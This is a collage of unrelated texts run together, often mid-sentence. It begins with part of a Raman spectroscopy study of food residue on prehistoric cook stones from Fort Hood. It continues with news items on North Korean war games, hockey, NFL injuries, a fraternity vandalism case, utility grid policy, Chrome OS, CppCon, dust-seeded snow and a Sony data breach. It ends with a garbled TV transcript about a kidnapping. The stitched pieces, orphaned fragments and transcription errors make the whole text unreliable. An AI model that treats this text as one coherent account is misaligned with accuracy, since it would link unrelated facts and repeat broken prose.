5 Prehistoric cook stones: methods and analysis We examined two cook stones, commonly known as fire‐cracked rocks (FCR), from two ancient earth ovens. These FCR were among many such cook stones constituting the heating element of earth ovens excavated at Ft. Hood, TX. Figures 3B–3D and 3F–3H show photographs of different sides of stones 1 and 2, respectively. Stone 1, from site 41CV1553, dates to approximately 350–650 AD. Stone 2, from the site 41CV594, dates to approximately 2500–500 BC. Raman spectra from the surface of stones 1 and 2 are shown in Figs. 3A and 3E, respectively. As described above, the spectrometer was put against the surface of the cook stones to obtain the spectra, and different spots were selected. A small piece cut from stone 1 was thoroughly cleaned for comparison (Fig. 3J). The corresponding Raman spectrum is shown in Fig. 3I. The Raman spectra in Figs. 3A, 3E and 3I show similar patterns. Both stones showed Raman peaks around 988, 1085, and 1170 cm−1. The same peaks were also found on the piece of stone 1 that was rinsed with tap water (Fig. 3I). Therefore, they were assigned to the stone itself. The strongest Raman peak of calcite at 1087 cm−1 matches well with the observed strongest peak at 1085 cm−1.21 However, the spectra of several spots on the uncleaned cook stones showed broadening of the 1085 cm−1 peak. This broadening was not observed on the cleaned cook stone and is attributed to the presence of residues. Figure 3 Open in figure viewerPowerPoint (A) and (E) are Raman spectra of two different stones from the prehistoric archaeological sites in Ft. Hood, labeled stone 1 and stone 2, respectively. (B)—(D) and (F)—(H) are photographs of different sides of stones 1 and 2, respectively. (B) is a split cross‐section of stone 1 with the corresponding spectra 1—3 in (A). (I) Raman spectrum of a cracked piece of stone 1 (J) after rinsing with tap water. Arrows indicate spatial positions on the cook stones that correspond to the spectra. The cook stone sizes vary in the range of 3–15 cm. Figure 3 shows that the spectra 1 and 3 in (A) and the spectrum (I) of the section of the cook stone cleaned by tap water have a narrower width at 1085 cm− 1 compared to the spectra from the surface of the stones. The broadening is shown more clearly in normalized Raman spectra in Fig. 4. It is possible that the observed broadening of the peak at 1085 cm− 1 is due to organic food residues such as carbohydrates (inulin, cellulose, or others). Inulin is present in many wild plants found in the vicinity of the sites, especially onion and camas, both of which have been recovered as charred macrobotanical fragments from remains of ancient oven at Fort Hood.22 However, other inulin spectral peaks such as the 1453 cm−1 peak were not resolved due to low signal‐to‐noise ratio. This finding suggests the possibility of identifying organics, including residue of food eaten a thousand or more years ago, using handheld Raman spectrometry. Assessment of this working hypothesis—broadening of the peak at 1085 cm− 1 is due to organic food residues—requires improvement of the signal‐to‐noise, spectral resolution, and extension of the detection spectral range. Figure 4 Open in figure viewerPowerPoint −1 peak. Normalized Raman spectra of inulin (dash‐dotted black), cellulose (dotted red), and two different stones from the prehistoric archaeological sites in Ft. Hood, labeled stone 1 (solid blue) and stone 2 (dashdotted green). The two stones correspond to Figs. 3 E (spot2) and 3I, respectively. The cracked piece of stone 1 was cleaned with tap water. The spectra of carbohydrates and uncleaned stone 2 show a significant broadening of the 1085 cmpeak.
6 Comparison of the portable and lab‐based Raman instruments We compared the performance of the portable handheld Raman spectrometer with the state‐of‐the‐art lab‐based Raman microscope. The latter was a confocal Raman microscope (Nanonics Imaging, Ltd) with an electric‐cooled CCD detector (−70 °C) and iHR550 spectrometer (Horiba), and 180° backscattering detection. The excitation source was a 785‐nm cw laser with up to 30‐mW power at the sample with a 10× objective. The typical spectral resolution was better than 0.7 cm−1. To perform the comparison of the two instruments we purchased two reference materials, inulin from chicory root and cellulose acetate, from Sigma‐Aldrich, Inc. Both of these materials may be present as food residues at archeological sites. Cellulose is the most abundant natural organic polymer on Earth. The ability to distinguish inulin from cellulose using portable Raman spectroscopy will be useful in archeology. The Raman spectra of inulin and cellulose are shown in Figs. 5A and 5B, respectively. The comparison of the spectra measured using the portable (red) and lab‐based (blue) instruments shows that both instruments provide essentially the same information. The lab‐based instrument shows an additional feature in the region of 1600–1700 cm−1 which is most probably an artifact of fluorescent background subtraction. The 785‐nm wavelength of the lab‐based instrument can lead to a larger amount of fluorescence than the 1064 nm wavelength of the portable instrument. The portable instrument has lower spectral resolution but is still able to detect most of the spectral lines. For example, both the portable and the handheld instruments measure similar line shapes of the 1270, 1333, and 1453 cm−1 transitions in Fig. 5A. These transitions have similar line widths and are less congested. However, the portable instrument cannot resolve the transitions in the more congested region around 1059 cm−1. It does not affect the detection of inulin and cellulose but can be important in other cases. Then the sample can be analyzed using the lab‐based instrument, and the portable Raman spectrometer can be used to obtain the preliminary information. This demonstrates that the portable Raman instrument may be used for residue analysis in field experiments. Figure 5 Open in figure viewerPowerPoint Raman spectra of inulin (A) and cellulose (B) purchased from Sigma‐Aldrich, Inc measured with a lab‐based (blue) and portable (red) instruments. Similar spectral signatures obtained with both devices demonstrate that a portable instrument can be used in archeological field experiments. Figure 6 shows a comparison of the Raman spectra of inulin from a grocery store (blue) to the chemical grade inulin from Sigma‐Aldrich (red) measured using the handheld Raman spectrometer. Similar results are obtained. This shows that the portable Raman spectrometer can detect inulin from various sources. Figure 6 Open in figure viewerPowerPoint Comparison of the Raman spectra of inulin from Sigma‐Aldrich, Inc (red) and from a grocery store (blue) obtained using a handheld spectrometer. Similar spectral signatures in both cases are observed. Band assignment was performed based on previous Raman studies of inulin19, 23 and cellulose.24, 25 These two chemicals are both naturally occurring carbohydrate polymers. Inulin is a fructan mostly made of fructose units, whereas cellulose consists of a chain of glucose units. Comparison of the bands of inulin and cellulose in Table S1 (see Supplementary Material) shows that these two different carbohydrates can be distinguished using portable Raman spectroscopy. Previous literature reports on carbohydrates confirm the ability of Raman spectroscopy to distinguish different chemicals. Raman spectroscopy was shown to be a valuable tool for the studies of carbohydrates.26-31 For example, distinct Raman spectra were measured for 13 different sugars including glucose, fructose, starch and cellulose.24 Pectin and starch were distinguished in situ in living potato cells32 and in carrot roots.33 Raman spectroscopy was used to distinguish starches from potato and maize due to their different structural properties34 Our results and previous literature suggest that Raman spectroscopy is able to provide chemically specific signatures of carbohydrates, including inulin. The ability of Raman spectroscopy to distinguish various carbohydrates is based on the sensitivity of vibrational signatures on molecular structure and conformation. Branched versus linear structures, crystalline versus amorphous, various degrees of hydrogen bonding, and spatial arrangement of substituents relative to the backbone lead to distinguishable Raman shifts. For example, the CH 2 ―OH bending and deformation bands at 1333 and 1453 cm−1 in inulin are suppressed and shifted in cellulose. The COC stretching modes in these chemicals are also different due to the different structure of unit cells. These peaks provide unique spectral signatures of inulin as an organic residue on archeological samples. For example, the 1453 cm−1 peak is clearly resolved on a scraper stone in Fig. 2D, and the 1333 band appears as a weak shoulder. The handheld Raman instrument may be used as a fast tool to detect the organic residue which can be later more carefully analyzed using other lab‐based techniques. Carbohydrates also have a broad band around ~2900 cm−1 (not shown), which lies outside of the available range of the handheld Raman spectrometer (from 200 to 2000 cm−1). This band, however, cannot be used for inulin identification because it is present in all carbohydrates. The available spectral range is sufficient to identify inulin at archeological sites using portable measurements (Fig. 5). Further analysis in a broader range can be later performed using laboratory‐based instruments.
7 Conclusions We demonstrated the use of handheld Raman spectrometry for facile trace analysis of inulin in actualistic experiments and its potential application at prehistoric archaeological sites. We detected spectroscopic features of inulin in the Raman spectra of sotol, which is a potential residue source in prehistoric earth ovens. Future exploration of archaeological samples using handheld Raman spectrometers is anticipated. Given that food residue is most likely to be preserved in the cracks and crevices of ancient, well weathered cook stones and tools,16, 35 we conclude that portable handheld Raman microscopy should focus on these places on a given stone.10 Coherent anti‐Stokes Raman scattering (CARS) spectroscopy has been recently used for the investigation of the molecular composition of gas residues in cracks of translucent materials.36, 37 CARS can be also used for the archaeological food residue analysis. The CARS signal is (N − 1) times stronger than the spontaneous Raman signal used in this work, where N is the number of molecules. Therefore, CARS can enhance the signal from traces of organic residues which have microscopic amounts of material. Another possible future direction of improving handheld Raman spectrometry is by increasing the sensitivity via surface enhancement.38, 39 Surface‐enhanced Raman scattering (SERS) micro‐spectroscopy has been used for the detection of nucleotide traces in pyroxene rocks as imitation of in situ search for life traces on Mars.40 SERS will require a special sample preparation to provide a contact between the residue and the enhancing surface. It may also be possible to adapt combinations of these techniques to the in situ food residue analysis and to develop portable surface‐enhanced CARS (SECARS)41, 42 and FAST‐CARS43, 44 spectrometers. Sample enrichment procedures could also be used to enhance weak signals. Tighter focusing and higher laser power may burn the sample. Developing portable handheld CARS, SERS, and SECARS spectrometers may decrease the signal collection time and will bring many future advantages in the field.
8 Acknowledgements The United States Army Fort Hood provided some of the funds for this research, and special thanks go to Richard Jones, director of Fort Hood's cultural resource management program, for supporting this effort. Jones and Doug Boyd (Prewitt and Associates, Inc. in Austin, Texas) facilitated access to the specimens used in this study. We gratefully acknowledge Professor Marlan O. Scully for helpful discussions. Drs. Stephen Black and Jon Lohse, of the Department of Anthropology and the Center for Archaeological Study, respectively, at Texas State University provided logistical support. Elizabeth Vilchez, undergraduate student in the Department of Anthropology, assisted in field and lab work for this study. Additional funding and other support were provided by the Department of Anthropology and Archaeological Ecology Lab at Texas A&M University.
Supporting Information Filename Description jrs4593-sup-0001-supplementary.docxWord 2007 document, 34.4 KB Supporting info item Please note: The publisher is not responsible for the content or functionality of any supporting information supplied by the authors. Any queries (other than missing content) should be directed to the corresponding author for the article.A North Korean company has rolled out a 3D shooting game called “Samurai Hunting,” the state-run outlet Arirang-Meari reported on Friday.
The release of the new title follows a slew of new anti-American and war-focused video games publicized by North Korean state media in recent months.
“The 3D-battle entertaining game program ‘Samurai Hunting’ is a fighting game which [let’s players] sweep the atrocious Samurai jerks … by aiming them in person with a sniper gun,” the media said.
The North Korean outlet describes Samurai – military nobility of early-modern Japan – as those who “boasted (about) describing themselves as ‘emperors’ of Asia and acted arrogantly, carrying guns and swords in the last century.”
Arirang-Meari said that North Koreans who play the game will strengthen their will to fight against the Japanese.
“Through this war entertainment game, youth and workers are currently bracing up to destroy the nest of the modern version of Samurai gangs who attempts to realize their ambition to re-invade while reviving the specter of militarism,” Arirang-Meari said.
Photos published by Arirang-Meari suggest that players can even purchase in-game items like in other Western first-person shooter (FPS) games like the U.S.-produced “Counter-Strike” (CS) or “Call of Duty” series.
The media also provided details about upgraded functionality compared to other North Korean games such as “Hunting Yankee.”
“Weapons are updated every round and you can utilize various effects when shooting,” Arirang-Meari said, adding the game was so far a hit with players.
The Samhung IT Exchange Company developed and launched the game, the media said. The company also launched another war-themed 3D game “Solo Mission,” Arirang-Meari reported on September 1.
Solo Mission is a game in which players can “fight with an enemy solely in the rear and destroy the enemy’s combat and technological equipment.”
“The game is now considered one of the games that users enjoy,” the media said.
Arirang-Meari also reported on August 25 that a North Korean company recently released a 3D shooting game called “Hunting Yankee” which lets players shoot U.S. soldiers with a gun.
North Korean companies have rolled out several war-themed games in recent months.
The same media reported on August 11 that the North Korean Advanced Technology Research Institute had developed three games: “Confrontation War,” “Guardian,” and “Goguryeo battlefield” – all of which can be played on mobile phones.
“Confrontation War” involves “destroying enemy submarines using depth bombs, nuclear depth bombs, and anti-submarine rockets,” while “Guardian” allows users to simulate naval warfare with “cannons, multiple rocket launchers, and mines.”
“Goguryeo battlefield” is a historical game, which “vividly displays the battlefields” of Ancient Korea.
Edited by Chad O’Carroll
Featured Image: Arirang MeariJames Reimer entered Thursday’s game in relief of the injured Jonathan Bernier to something he hoped to hear, but may not have been expecting. Fans at the Air Canada Centre, sensing a massive hole opening up in the Maple Leafs’ defence with Bernier gone and Reimer stone cold off the bench, began chanting Reimer’s name.
Toronto Maple Leafs goaltender James Reimer prepares to make a glove save as Boston Bruins right winger Loui Eriksson (21) tries to deflect the shot while Leafs defenceman Dion Phaneuf (3) looks on during overtime action in Toronto on Thursday. ( Frank Gunn / THE CANADIAN PRESS )
The “Let’s Go Reimer” chorus boomed across the rink. With it came vindication for Reimer after an emotional and controversial time for him in Toronto the past two weeks. “Just battle, battle everything... it’s been tough with everything going on, but keep the faith, keep positive,” Reimer said after bailing out the Leafs in their dramatic 4-3 win in overtime. Reimer was referring to his own roller-coaster ride ever since he and the Leafs blew that lead in Game 7 in Boston last spring.
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Reimer has had to rebound all season long, but it’s never been more emotional than during five consecutive losses he suffered while filling in for Bernier, who suffered a groin strain against Los Angeles in early March. Talk around the team grew more intense with each loss, and Reimer was coloured “gone” at the end of the season, supposedly needing a change of scenery to resurrect a career that had fallen off the rails in Toronto. Fans were booing him in Toronto during that stretch, and while that was difficult, reaction on Twitter after a loss to Montreal two weeks ago was worse. Reimer was forced to endure attacks on his wife as fallout from the Leafs’ slide grew uglier. Bernier reclaimed his starting spot after the five-game injury absence. Reimer took up his backup role and it seemed — until Thursday night — that he was marooned there. “I told my wife before I left (for Thursday’s game) I was going to get in, I just had a feeling,” Reimer said.
“You don’t know why, you just have a feeling, and I tried my best to prepare and be ready.” Reimer faced 12 shots after Bernier exited the game at the 12-minute mark of the third.
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“I could tell by the way he (Bernier) was moving (that he was injured), so I hopped over the boards right away and tried to warm up,” Reimer said. “I heard the cheer, the fans have been great to me. Sure, there’s been some negativity, but the support has been tenfold greater. It was unbelievable, especially tonight. “You don’t think about that other stuff,” Reimer added. “My focus was to play as best I can. And for sure, those things go through your mind, but you don’t have time to think of them, especially with (Zdeno) Chara standing in front of you on the power play.” Reimer was asked about the possibility — given Bernier’s hold on the starting job — that he might have played his last game of the season in his previous start, and possibly his last game as a Leaf. “Lots of things go through your mind, that’s a plausible form of thought (by media),” Reimer said. “Most of the things people say aren’t nearly as bad (as the attacks on his wife). Fans are supportive, for every negative, there’s 20, 30, 100 people who are supportive. Does the other stuff bother you? No, because you build on fans who support you.” That was a sentiment echoed by Reimer’s teammates. “When the team doesn’t do so well, he’s the first guy everybody hops on,” said Nazem Kadri, who scored the overtime winner against Boston. “We were losing in front of him, we couldn’t figure it out, and we as players felt bad, so now it’s time we had his back and step up to the plate.”
What do you think?
Read more about:The Seahawks keep trying to will Thomas Rawls into becoming the team’s next Marshawn Lynch. And Rawls keeps being unable to get and stay on the field.
The man deemed to be the top option at tailback for 2017 has an ankle injury, and Ian Rapoport of NFL Media reports that Rawls may not play until he’s truly 100 percent.
Rawls has been characterized as a game-time decision for Sunday’s opener at Green Bay, and there’s no indication Rawls didn’t travel with the team to Wisconsin. So he’s there and he’s available but maybe he won’t actually play until he is truly and completely healthy.
It’s one of the benefits of having a full complement of tailbacks on the roster. But if Rawls misses time in the regular season, there’s a chance one of the other guys will step up and steal the job for which Rawls has been groomed. Starting today, a return by Eddie Lacy to Lambeau Field gives him extra incentive to do what he can in order to seize the job.Redding >> A Chico State University fraternity and its former president have pleaded guilty to charges they vandalized a campground in the Lassen National Forest earlier this year, U.S. Attorney Phillip Talbert announced Thursday.
The fraternity, Pi Kappa Alpha, and its former president Evan Jossey both pleaded guilty Tuesday to a single count of illegally cutting or otherwise damaging any timber, tree or other forest product, according to court documents.
Authorities accused the fraternity and its members of cutting down 32 trees at the Deer Creek Trailhead in Tehama County during an initiation ceremony in April.
U.S. Magistrate Judge Craig Kellison sentenced the fraternity to 9,800 hours of community service, a three-year term of probation and a $4,000 fine.
The fraternity also was ordered to pay $4,387.97 in restitution to the Lassen National Forest.
Jossey was given a $1,000 fine and a term of court probation, which will end when the fine is paid in full.
The charges stemmed from an incident the weekend of April 21 at the Deer Creek Trailhead campground in Lassen National Forest, where more than 30 trees were cut down during an initiation of pledges to the fraternity, according to court documents.
According to an affidavit filed by a U.S. Forest Service officer investigating the case, about 80 people were estimated to have attended the fraternity’s initiation ceremony. A witness who had been camping nearby told investigators that he saw and heard trees being cut down and people shooting firearms the evening of April 21.
When the camper left the site the next morning, he reportedly saw a large group of people seated in six or seven columns, according to the affidavit. The camper told investigators that Jossey had previously introduced himself, saying the fraternity would be holding the “final stages of initiation over the weekend.”
In an interview with a Tehama County sheriff’s deputy, Jossey acknowledged the fraternity retreat but “denied cutting down trees or shooting any firearms or seeing any members cut down any trees or shoot firearms,” according to the affidavit.
The Forest Service officer who filed the affidavit noted that he visited the campsite May 5. The officer wrote that he found 32 fresh trees that had been chopped down with a bladed object, such as an ax or hatchet. Fifteen other trees sustained chop marks but were still standing.
While walking the site, the officer wrote that he collected several pieces of evidence, including a Chico State construction program T-shirt and three black blindfolds.
In the “immediate vicinity” of two of the blindfolds, according to the officer, were red and white candle drippings, as well as a felled cedar tree.The leaders of some of the nation’s largest investor-owned utilities have a message for President Trump and his Department of Energy: Stay out of our grid planning.
Utility executives convened this week in Boston for the annual conference of the Edison Electric Institute, the trade group for U.S. IOUs. During panel appearances and interviews, they expressed hope that the DOE’s pending review of baseload generation would reaffirm that changes to the U.S. power mix do not threaten reliability.
“We have one of the most reliable generation fleets in the world,” said Pat Vincent-Collawn, CEO of PNM Resources and the incoming chair of EEI. “Hopefully the study takes into account good utility planning and … will show what we've known for a long time, which is that we know how to plan the grid.”
“We have one of the most reliable generation fleets in the world." Pat Vincent-Collawn CEO of PNM Resources
Secretary of Energy Rick Perry ordered a 60-day review of the U.S. power sector back in April, seeking to ascertain whether increasing renewable energy penetration is forcing baseload plants offline and threatening reliability. If so, Perry said the federal government could seek to preempt state energy policies on the grounds of national security.
While EEI itself has not taken a position on the study, members of its executive board said that route would be a mistake, even as they expressed concern about the retirement of baseload plants, particularly nuclear generators.
“What we hope is that the review emphasizes the need for a diverse, resilient portfolio in the country and part of that is baseload generation that's being squeezed out of the market right now,” said Chris Crane, CEO of Exelon, the nation’s largest nuclear operator. “[Nuclear] provides more benefits than just megawatts. The resiliency, fuel diversity — it's important that is factored into price formation.”
But Crane said recognizing those benefits could largely be left up to the states. Exelon won financial support for its nuclear plants last year in Illinois and New York, where the generators were under pressure from low natural gas prices, stagnant demand and subsidized renewables. The company is currently pushing for similar subsidies in Pennsylvania, while other utilities seek supports in Ohio, Connecticut and New Jersey.
“Allowing the states to recognize the environmental benefits of nuclear is important at the federal level,” Crane said. “All of the incentives for [renewable] generating sources will phase out over time and it will create a more competitive platform. It's just not increasing them at this point.”
"What we hope is that the review emphasizes the need for a diverse, resilient portfolio in the country and part of that is baseload generation that's being squeezed out of the market right now." Chris Crane Exelon CEO
Southern Co. CEO Tom Fanning, the outgoing chair of EEI, reinforced that point, calling for cooperation and federalism in power policy. “There has to be a harmonization of what happens at the federal level along with what happens at the state and local level,” he said. “I think that's the importance of things like the Federal Power Act.”
Nuclear subsidies are controversial in the sector, with gas generators arguing they intrude on federal jurisdiction over interstate power markets and could threaten reliability by pushing unsubsidized plants offline. Those arguments mirror qualms many generators have with subsidies for wind and solar, which they say also depress wholesale power prices, stoking fears among some in the sector that DOE will seek to overrule or alter them.
While EEI has not been contacted for consultation on the DOE review, Media Relations Director Jeff Ostermayer said “generation-specific” trade groups have been “doing a lot of outreach” at DOE.
Crane said Exelon has been involved in discussions of the review process ahead of the planned release of the report on June 26. “We've had conversations with staff at the DOE and conversations with the EPA," he said. "It's more of a working-level dialogue right now but as they make the appointments, we'll be able to get in.”
The utility executives' comments come just weeks after a bipartisan group of senators expressed similar concerns about the DOE review and state clean energy policies. In a confirmation hearing for two nominees to the Federal Energy Regulatory Commission, lawmakers sought to ensure the energy regulators would not seek preemption of state policies.
“When we're talking about grid reliability issues or studies that are being embarked upon, I think it's important we look at all the experts, whether they are at the National Renewable Energy Laboratory or utilities,” said Sen. Cory Gardner (R-CO). “Take Xcel Energy that has done a remarkable job of integrating various sources, fuel mixes, into the grid while maintaining superior reliability.”
EEI chair: Reliability not threatened by power mix shifts
Amid the DOE grid review, the White House has put forward other administration officials to make the case for preserving baseload plants — especially coal, a persistent focus of Trump’s energy policy.
After the announced withdrawal from the Paris climate accord, EPA Administrator Scott Pruitt has played the lead role. During an appearance on NBC’s Morning Joe this month, Pruitt said that decreasing coal generation could lead to unspecified reliability risks on the grid.
"When we're at less than 30% or right at 30% today, that creates vulnerabilities to attacks on infrastructure," he said, arguing that utilities need plants with “solid hydrocarbons onsite” to ensure reliability.
Those statements fly in the face of numerous studies conducted by national laboratories and grid operators over the past decade, as well as the lived experience of many utilities.
Vincent-Collawn’s utility PNM, for instance, released a draft integrated resource plan this spring that would see it abandon coal generation entirely by 2031. The PNM CEO said that despite Pruitt’s comments, outside analysis of the IRP anticipates no reliability problems.
“We still have some baseload because we still own a piece of [the Palo Verde nuclear plant],” she said. “We have some gas plants and then need to have some peaking plants. So we will need to have other supplements to the renewables, but getting out of coal will be done in a way that doesn’t affect reliability.”
"We will need to have other supplements to the renewables, but getting out of coal will be done in a way that doesn’t affect reliability." Pat Vincent-Collawn PNM Resources CEO
Earlier at the conference, DTE Energy CEO Gerry Anderson said his utility’s move away from coal and toward cleaner sources of power was guided largely by economics. When the Michigan utility began preparing for the Clean Power Plan — an Obama-era emissions rule — officials found they “could deeply decarbonize DTE Energy and we could do it in a way that's affordable.”
That perspective is one shared by both the broader industry and PNM, said Vincent-Collawn, the first woman to chair EEI.
“If you look at where we are with gas prices, renewables prices, it's changed dramatically,” she said. “So those market forces lead us to different conclusions because we do want to produce power at the lowest possible cost."
In the face of stagnant or declining power demand from sectors traditionally served by electric utilities, DTE's Anderson said utilities’ growth this century will largely be fueled by electrifying other industries, like transportation. The EEI chair reiterated that point as well.
“You talk about EVs, about smart cities, I think that's really where electric companies are going — not just focusing on the electricity we sell, but focusing on its attributes," she said.It should not be news to anyone that Google is working on a 2010 release timeframe for its newly dubbed Google Chrome OS. What has been interesting is the chatter which has occured since then, many fingers pointing at Apple as the real beneficiary of this move. However, nothing could be further from the truth. What Google did was brilliant, very similar to its strategy with Chrome and I will outline it below.
The key to the Chrome strategy is that Google does not expect to get a large chunk of market share, what they want is to put pressure on Microsoft and Apple to add features similar to what Chrome OS has, which by nature will be very Web-centric. This minimalist desktop approach that is tightly bound to cloud services is the core of Chrome OS, Microsoft and Apple will be forced to make adjustments that will be in Googles favor, just to compete. Google is really in a win-win situation, as it was with their Chrome browser, that has a minimal amount of market share but was the initiator of more browser wars focused on Javascript speed and more stable browsing; both of which are central to Google’s cloud services taking off.
Google is not the only one who benefits, any company largely hedging their bets on the Cloud and/or web based applications has something to gain, even Microsoft does, however, Google does not have a dominant office suite or OS, they need this more than Microsoft or other big players do. Their mental-market-dominance is the real force behind the change that will happen, not the quality of the OS they will release.
It becomes obvious that this strategy is mid-term in focus, Google is playing a game of Chess with Microsoft, with benefits being reaped slowly over time as their competition adjusts. What is the next move and is it necessarily by Google or one of its competitors?
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Less than 30 days out from CppCon 2017, regular session and poster submissions are closed, both of the field trip tours are sold out, and most of our official hotel blocks are either closed or sold out.
But, even now, there are still conference opportunities. There is still over two weeks left of regular registration, we are still accepting class registrations, we have rooms available in some of our official hotel blocks, and it isn’t too late to attend sessions for free by signing up as a volunteer.
To day we are also opening up two ways to present at the conference.
Call for Lightning Talks
Lightning talks are fast paced, short presentations often sprinkled with humor and intrigue. The popular 5-minute talks present topics that are interesting to C++ programmers. This opportunity is open to speakers at all experience levels.
Check out some of our previous lightning talks on our YouTube channel. They cover a single topic, start with the good stuff, and end making a point. Anyone can do one, but be sure to practice because 5 minutes goes by incredibly fast. Here is your opportunity to share that one technique you wish everyone knew, that one little known fact that should be well known, that one tool that makes your life easier every day, or a collection of little things that you can fit into 5 minutes.
Anyone can submit a lightning talk, you don’t need to be a conference speaker (or even a registered attendee). To submit, visit our Lightning Talks Submissions page.
Call for Open Content
As we do every year, we offer Open Content session in the early morning, over lunch, and in the evening.
Open Content is just that, open! Attendees and regular program speakers alike can propose sessions on anything that interests them. These might feature a single facilitator leading a room through an exercise, activity or demo, a panel of 3-5 people taking questions from the room, a “hackathon” on a specific project, or an open conversation among the whole room. The projector is available for slides or public note taking.
Open Content is designed for flexibility so that a “Birds of a Feather” talk may be proposed even after the conference has begun. A speaker who gets a lot of post-talk questions may agree to host a Q&A session in the Open Content time. An attendee inspired by a session may host a session to explore a topic further or start on a group implementation of something.
Anyone can submit an open content session, you don’t need to be a conference speaker (or even a registered attendee). To submit, visit our Open Content Submissions page.
These sessions will be open in another way too – Open Content does not require conference registration. That’s right, everyone who is in the area is welcome to come and join us for all the early morning/lunch/evening sessions, including proposing or leading a session. This is part of our goal to be an inclusive conference for the entire C++ community.
Free Friday
All CppCon 2017 events on Friday, September 29th, do not require conference registration. That’s right, just like all our evening sessions, all Friday sessions are open to the public without a conference registration. This includes an address by one of our most highly anticipated plenary speakers, Matt Godbolt, and the Sara Chipps lecture and workshop.Photo
A storm of yellow dust darkens the skies above Beijing, an increasingly familiar phenomenon blamed on the disappearance of Asian forests. A week later, in California’s Sierra Nevada mountain range, where annual precipitation levels are expected to decline as the climate changes, a snowstorm delights skiers.
The storms are starkly different and separated by thousands of miles, but scientists have discovered that they are linked.
Researchers from the Scripps Institution of Oceanography and the University of California, San Diego, have discovered that dust storms in Asia could help douse the Sierras with snow, bolstering California’s economy and rejuvenating its environment.
Spring and summer snowmelts in the Sierras provide fresh water for 25 million people, for wildlife and millions of acres of farmland, as well as for hydropower that meets up to 15 percent of the state’s electricity needs.
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In experiments that began in 2009, the scientists discovered that dust that glides on high-altitude jet streams from Asia over the Pacific Ocean plays a substantial role in seeding snowflakes that fall over the Sierras.Taoiseach Enda Kenny last night ruled out a national vote on Irish unity saying the conditions for a referendum do not currently exist.
Taoiseach Enda Kenny last night ruled out a national vote on Irish unity saying the conditions for a referendum |
reports of the interview were read the next morning, Billa and Ranga had been executed.The hits just keep on coming when it comes to Sony's online services. We've been promised that the PlayStation Network will be back online very soon, but now Sony Online Entertainment has taken its services offline. This is the company that brought us DC Universe Online, the for-pay superhero MMO.
Here's what Sony has announced so far:
Our ongoing investigation of illegal intrusions into Sony Online Entertainment systems has discovered that hackers may have obtained personal customer information from SOE systems. We are today advising you that the personal information you provided us in connection with your SOE account may have been stolen in a cyber-attack. Stolen information includes, to the extent you provided it to us, the following: name, address (city, state, zip, country), email address, gender, birthdate, phone number, login name and hashed password.
In a twist, the company has also announced a number of older credit card numbers and expiration dates from an older, 2007 database may have been compromised. "...12,700 non-US customer credit or debit card numbers and expiration dates (but not credit card security codes) and about 10,700 direct debit records listing bank account numbers of certain customers in Germany, Austria, Netherlands and Spain may have also been obtained—we will be notifying each of those customers promptly," Sony explained.
The services have been taken offline, the security is being strengthened, and an outside, "recognized" security firm has been called in.
This could be a much larger problem than the PSN hack, with for-pay games being taken offline, and older credit card data being potentially stolen. We'll be following this story as it develops.Hide Transcript Show Transcript
WEBVTT THEY CREDIT THE BRILLIANCE AND THE TENACITY OF THE TEENAGER FOR CAP -- FOR FINALLY GETTING RELEASED. >> WE DID NOT HAVE ONE PIECE OF EVIDENCE THAT POINTED TO HIM. ADAM CANDOR -- AMY: CANDOR FROM ONE OF THE MOST EXPERIENCED CRIME SOLVERS IN THE STATE. THEY RAN HIS NAME THROUGH THE DATABASE AND THERE WAS NOT A SINGLE TRACE. DESPITE HIM DRIVING BY THE POLICE DEPARTMENT TO AND FROM WORK EVERY DAY. AMY: HE MUST HAVE PASSED THROUGH THE VEHICLE CHECKPOINTS AND SEEN THE GRID SEARCHES COMBING THROUGH THE AREA WHERE THE HIGH SCHOOL FRESHMAN WAS LAST SEEN WALKING HOME FROM SCHOOL OCTOBER 9. WITHIN SECONDS OR MINUTES, HER LIFE CHANGED FOREVER. AMY: H BOOTS WERE NEW AND HURTING HER FEET. SHE WAS REGRETTING HER DECISION NOT TO TAKE THE BUS HOME THAT DAY FROM HIGH SCHOOL. >> AS SHE TURNED INTO A CUT THROUG STREET, A CAR PULLED UP AND SHE HAD BLISTERS. THE CAR PULLED OVER AND OFFERED A RIDE. AND SHE THOUGHT IT WAS STRANGE HOW GOD ANSWERED PRAYERS. AMY: INVESTIGATORS SAY THAT SHE KNEW BETTER THAN TO GIVE HER HOME ADDRESS AND SHE ASK TO BE LET OUT AT A SANDWICH SHOP CLOSE TO HER NEIGHBORHOOD. THE FANEUI KIBBY DROVE INSTEAD TO A HOME IMPROVEMENT STORE. >> SHE WEN TO UNBUCKLE HER SEATBELT. THAT IS WHEN HE PULLED A GUN ON HER. AM IT IS UNCLEAR IF HE TARGETED THIS PARTICULAR YOUNG WOMAN BUT HE UNQUESTIONABLY HAD A PLAN. >> HE HAD ZIP TIES AND A TASER AND A PISTOL. AMY: JOE EBERT IS A 17 YEAR VETERAN IN CHARGE OF MAJOR CRIME AND SPECIAL INVESTIGATIONS. HE CALLS THIS CASE A CAREER GAME CHANGER. >> FOR ME, IT HAS CHANGED THE PERCEPTION I HAVE OF EVE CASE THE AS WAS SO OUT OF THE BOX. AM FOR NINE MONTHS, NATHANIEL KIBB UNLEASHED OVERTURE AND THE PROPERTY ON THIS YOUNG GIRL INSIDE THIS TRAILER 30 MILES AWAY IN GORHAM. HE PUT A SHOCK COLLAR ON HER. TIED HER TO A BED WHILE HE WENT TO WORK. ADULT DIAPERS FOR A TOILET. SUBJECTED TO DAILY RATES. WHY DID SHE NOT RUN --CALL FOR HELP? SHE WAS DISORIENTED. >> AND SHE BELIEVED SHE WAS UNDER SURVEILLANCE. AMY: SHE HELPED HI MANUFACTURE COUNTERFEIT MONEY. THE COUNTERFEI BILLS PASSED TO A PROSTITUTE IN A HOTEL ROOM IN MADE -- IN MAINE LED TO HIS DOWNFALL. THE BILLS WERE FLAGGED AT WALMART. POLICE QUESTIONED THE PROSTITUTE. NATHANIEL KIBBY REALIZES IT IS ONLY A MATTER OF TIME UNTIL INVESTIGATORS CATCH UP TO HIM AND HE TOLD HIS CAPTIVE -- >> WE HAVE TO GET RID OF EVERYTHING. AMY: THEY CREDIT THE SURVIVOR FOR HER STRENGTH. SHE CONVINCED NATHANIEL KIBBY THAT SHE WOULD NEV REVEAL THE TRUTH. THEY PRACTICE A FALSE DESCRIPTION AND FOR SEVEN DAYS AFTER HER RELEASE, SHE MAINTAINED HER COVER STORY WITH HIS THREATS HANGING OVER HER HEAD. HE WOULD HARM HER FAMILY AND LAW ENFORCEMENT. SHE CARRIED THAT FOR A WEEK. AMY: THIS YOUNG WOMAN, A SURVIVOR IGNORED ADVICE TO STAY AWAY FROM COU DETERMINED TO LOOK HER CAPTOR IN HIS 